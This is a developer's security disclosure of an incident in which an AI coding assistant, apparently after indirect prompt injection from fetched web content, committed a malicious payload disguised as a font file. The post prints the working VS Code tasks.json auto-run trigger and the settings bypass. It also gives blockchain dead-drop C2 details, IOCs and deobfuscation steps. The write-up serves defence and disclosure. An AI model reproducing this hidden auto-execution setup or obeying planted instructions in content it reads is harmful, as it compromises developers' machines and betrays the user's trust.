TL;DR

An AI coding assistant injected a multi-layer obfuscated JavaScript payload into a legitimate commit on my open-source project. My best assessment is that it arrived via indirect prompt injection — the agent processed external web content during a research task, and that content contained hidden instructions. The payload masqueraded as a font file, used tasks.json to auto-execute on VS Code folder open, and phoned home via the TRON blockchain as a command-and-control dead-drop. It never actually ran — a VS Code Server shell environment failure accidentally protected me. I decoded the full payload statically, rewrote the git history to remove both poisoned commits, and am disclosing the IOCs here.

Background

I maintain Realm, an open-source TypeScript workflow execution engine. I use an AI coding assistant heavily for development. On May 3 2026, the assistant made what looked like a routine cleanup commit to prepare a 0.1.0 release.

How the Injection Likely Happened

I can't pinpoint the exact source without reviewing the agent's full session transcript from May 3, but the mechanism is almost certainly indirect prompt injection.

The attack chain:

1. I gave the agent a task that involved gathering context from external sources — reading documentation, forum posts, or other web content to inform a decision.
2. The agent fetched those pages and processed their text as part of its working context.
3. At least one of those pages contained instructions embedded in its content — not visible to a human reader, but present as plain text the agent parsed alongside the legitimate content.
4. The agent interpreted those instructions as legitimate directives and executed them: creating the payload file, adding the .vscode/ trigger config, and bundling everything into an otherwise legitimate commit.

The payload is too sophisticated to be spontaneously generated — 4-layer obfuscation, blockchain dead-drop C2 with multi-chain fallback, cross-platform execution path, the specific task.allowAutomaticTasks bypass. It was pre-written. The injection instruction only needed to supply the file contents and the surrounding config. The agent did the rest.

Any external content in the agent's context window is a potential injection vector: forum threads, GitHub issues, npm README pages, Stack Overflow answers, documentation sites. The attacker needs only to get content they control in front of an agent that has file-write access to your workspace. The instruction can be hidden in a comment, buried in a code block, rendered invisibly in white-on-white text, or placed in a <noscript> tag — invisible to a human reader, visible to an LLM processing raw text.

Without the session transcript I cannot confirm the source. The framing in this post is "unconfirmed indirect prompt injection via web content processed during a research task." The evidence against spontaneous generation is circumstantial but strong: the payload's sophistication, the specificity of the VS Code bypass, and the TRON blockchain infrastructure all point to a pre-written attack that was delivered, not invented.

Timeline

What the Commit Actually Contained

The poisoned commit 830b3a9 bundled legitimate changes with:

• public/fonts/fa-solid-400.woff2 — the payload, disguised as a font (16 real fonts added as cover)
• .vscode/tasks.json — auto-executes the payload on folder open
• .vscode/settings.json — silently bypasses VS Code's auto-task safety prompt
• .vscode/launch.json, .vscode/extensions.json — copied from an unrelated SST/AWS project as further camouflage
• Deletion of .vscode/mcp.json — removed the existing real VS Code config to avoid suspicion
• .gitignore modification — removed .vscode/* from gitignore so these files would be committed

The "font file" is a few hundred bytes of padding followed by actual JavaScript. The 16 other font files are real Font Awesome assets, serving as plausible noise in the commit diff.

The Trigger Mechanism

.vscode/tasks.json configured a task labelled "eslint-check" that runs automatically when the folder is opened:

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "isBackground": true,
  "hide": true,
  "presentation": {
    "reveal": "never",
    "panel": "dedicated",
    "focus": false,
    "clear": false,
    "echo": false,
    "close": true
  },
  "runOptions": { "runOn": "folderOpen" }
}

• Cross-platform: tries the Unix command -v path first, falls back to Windows where
• Hidden terminal panel, no output, closes on completion
• False label "eslint-check" — harmless in the context of a TypeScript project

.vscode/settings.json contained:

"task.allowAutomaticTasks": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.inheritEnv": false,

VS Code normally asks "Do you want to allow automatic tasks?" the first time it sees runOn: folderOpen. Setting task.allowAutomaticTasks: true in the workspace settings bypasses the prompt entirely — no confirmation dialog, no warning.

The Payload: 4-Layer Obfuscation

Layer 1 — String shuffler bootstrap: The file opens by defining _$af163278, a character-shuffle decoder seeded with a large integer. The shuffler is used to decode all subsequent layers.

Layer 2 — Function constructor access: Calls sfL["constructor"] to obtain the Function constructor through a property lookup rather than the identifier, evading simple static analysis.

Layer 3 — String table decoder: Decodes _$_ccfc, a 58-element lookup table of all plaintext strings used by the payload. None of the readable strings appear in the file directly — everything is indices into this table.

Layer 4 — The actual payload: An async IIFE that:

1. Fetches the last outgoing transaction from a TRON wallet (api.trongrid.io)
2. Extracts the transaction's raw_data field as a hex string
3. Uses that hex as an XOR key to decrypt the actual stage-2 payload
4. eval()s the decrypted payload
5. Spawns a detached node -e child process with the decrypted payload for persistence
6. Uses global['_p_t'] as a 30-second cooldown guard to prevent re-execution loops

The blockchain dead-drop means the actual stage-2 payload is never stored anywhere statically analysable. It can be changed at any time by sending a new transaction from the C2 wallet, and every fetched copy is keyed with a different XOR key derived from the response.

If the primary TRON path fails, it falls back to fetching an Aptos transaction for the XOR key, then queries BSC nodes for the payload.

Decoded IOCs

All values are from static decoding of _$_ccfc. No network requests were made.

TRON wallets (dead-drop C2):

• TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (primary)
• TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (secondary)

BSC transaction hashes (XOR key source):

• 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e
• 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3

RPC endpoints contacted:

• https://api.trongrid.io/v1/accounts/{wallet}/transactions?only_confirmed=true&only_from=true&limit=1
• https://fullnode.mainnet.aptoslabs.com/v1/accounts/{hash}/transactions?limit=1
• bsc-dataseed.binance.org (JSON-RPC eth_getTransactionByHash)
• bsc-rpc.publicnode.com (fallback BSC RPC)

Execution path:

• child_process.spawn('node', ['-e', <payload>], { detached: true, stdio: 'ignore', windowsHide: true })

Malicious files:

• public/fonts/fa-solid-400.woff2 — the payload (despite the extension)
• .vscode/tasks.json — trigger
• .vscode/settings.json — bypass
• .vscode/launch.json — camouflage (SST/AWS config from another project)
• .vscode/extensions.json — camouflage

Malicious commits (now removed from history):

• 830b3a99e54998bccbff16df4b60f54e38ca9207
• 84f60403067726d55666e66cd752998eb323f425

Why It (Nearly) Worked

1. Buried in a legitimate commit. The actual useful code changes — removing internal exports to clean up the 0.1.0 surface — were genuine and correct. An reviewer checking the diff would see real TypeScript changes and a batch of font files. The tasks.json would look like dev tooling setup.

2. The extension bypass. task.allowAutomaticTasks: true is a legitimate workspace setting. It's documented. It just happens to completely remove the one safety prompt that would otherwise alert the developer.

3. Convincing file naming. Font files as binary blobs in a public/ directory don't draw attention. They're not code-reviewed with the same scrutiny. The real Font Awesome files in the same commit make the woff2 file look like one of them.

4. AI agent as injection vector — and your identity is on the commit. The commit was produced by an AI coding assistant acting on instructions. I reviewed the commit message and the TypeScript changes, not the VS Code config additions. The trust relationship between developer and AI assistant creates a gap: the developer is reviewing intent, not every file touched.

Critically, the AI agent commits under your git identity. Both malicious commits show Author: mihai <mihai.lupu@sensigo.ro> — my name, my email. There is currently no mechanism at the git or GitHub layer to distinguish an AI-generated commit from a human one. Anyone who saw the repo before the history rewrite would associate those commits — and the malware inside them — with me personally. If the payload had gone undetected and later been discovered by a third party, the forensic trail would point directly at the repository owner.

5. Blockchain dead-drop is ephemeral. No hardcoded C2 URL. No stage-2 payload at rest anywhere. The payload changes with each transaction. Static analysis of the font file would find the TRON wallet address, but not what it would actually do.

Impact

None confirmed. VS Code Server failed to resolve the shell environment in the only session after the injection. The task runner never started. The payload never executed.

Local execution evidence:

• ptyhost.log: 0 bytes
• remoteagent.log: multiple "Unable to resolve your shell environment" entries
• Shell history: zero entries for node, the payload path, or any C2 hostnames

This was not a security control. It was environmental luck.

Third-party exposure evidence: The package was never published to npm — @sensigo/realm and @sensigo/realm-cli do not exist on the registry. No supply chain vector.

GitHub's traffic API covers the 14 days up to today. The malicious commits were live from May 3 15:19 through May 6. During that window:

*May 3 clones include activity before the 15:19 push.

The clone:viewer ratio (roughly 200:1) is characteristic of automated systems — GitHub Actions runners, security scanners, repository mirrors. They do git clone and stop there. For this payload to execute, someone would have had to clone the repository and open it in VS Code. The page view data shows exactly one unique viewer per day throughout the window, which is consistent with the repository owner only.

No third-party execution is confirmed or credibly suspected.

What I Did

1. Decoded the payload statically across 4 layers using Node.js scripts in /tmp. No network requests. No execution of untrusted code.
2. Identified all malicious files and the two poisoned commits.
3. Rewrote git history: created a clean-history branch at the clean parent commit (86b634f), cherry-picked all 27 legitimate commits from the poisoned range, took source files from main to correct any cherry-pick regressions, verified build (4/4) and tests (68 files, 0 failures pass).
4. Force-pushed to origin/main. The poisoned commits no longer exist in the public repository.
5. Verified GitHub: public/ does not exist, none of the malicious .vscode/ files exist.

Lessons

Verify binary blobs in commits, especially from AI agents. Text diffs get reviewed. Binary additions — images, fonts, compiled assets — often don't. A brief file check on any new binary would have caught this immediately.

task.allowAutomaticTasks: true is dangerous in shared repos. This setting should never be committed to a shared repository unless the team has explicitly audited all tasks. VS Code's auto-task prompt exists for a reason.

.gitignore changes deserve scrutiny. Removing .vscode/* exclusion is a small change with large surface — it allows an entire directory of potential workspace poisoning to be committed.

AI agent output needs the same review as human output. The agent produced a legitimate-looking commit. I reviewed the commit message and the TypeScript diff. I didn't treat AI-generated VS Code config additions with the same suspicion I would treat a new dependency or a shell script.

Blockchain dead-drop C2 is practical. Public blockchains are permanent, censorship-resistant, and globally accessible. Using a transaction's raw_data field as a key and calling a standard public API means there's no custom C2 infrastructure to take down. The technique isn't new in the research literature but seeing it in a real payload against a developer workspace is a data point worth sharing.

Files for Independent Verification

The decoded layer-4 payload (static decode only, no execution) exists on my machine but I'm not publishing it directly — the stage-2 payload behind the XOR key is still unknown, and I'd rather not hand anyone a pre-built decoder for what may be actively deployed infrastructure.

Anyone who wants to replicate the decode independently can do so in about 10 minutes:

1. Reconstruct the layer-4 payload from the two malicious commits using their full hashes (830b3a99... and 84f60403...). Both are dangling objects in any clone that existed before the force-push.
2. Extract the _$_ccfc call's encoded string and seed integer from the file.
3. Implement the _$af163278 shuffle decoder — it's a standard character-swap shuffle: iterate over the string, swap positions (v*(g+139) + v%20044) % l and (v*(g+473) + v%41543) % l, accumulate v as (a+w) % 5446973, then replace % → DEL → #1 → % → #0 → # → split on DEL.
4. Run it against the encoded string with seed 1812138 to get the plaintext lookup table.

The TRON wallet TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP is public. The eth_getTransactionByHash call against the BSC hashes listed in the IOCs will return the same XOR key data I decoded. That key, applied to whatever the wallet's last outgoing transaction currently carries as raw_data, gives you the live stage-2 payload — which I have deliberately not fetched.

Disclosure date: May 6, 2026. History was rewritten and force-pushed before this post.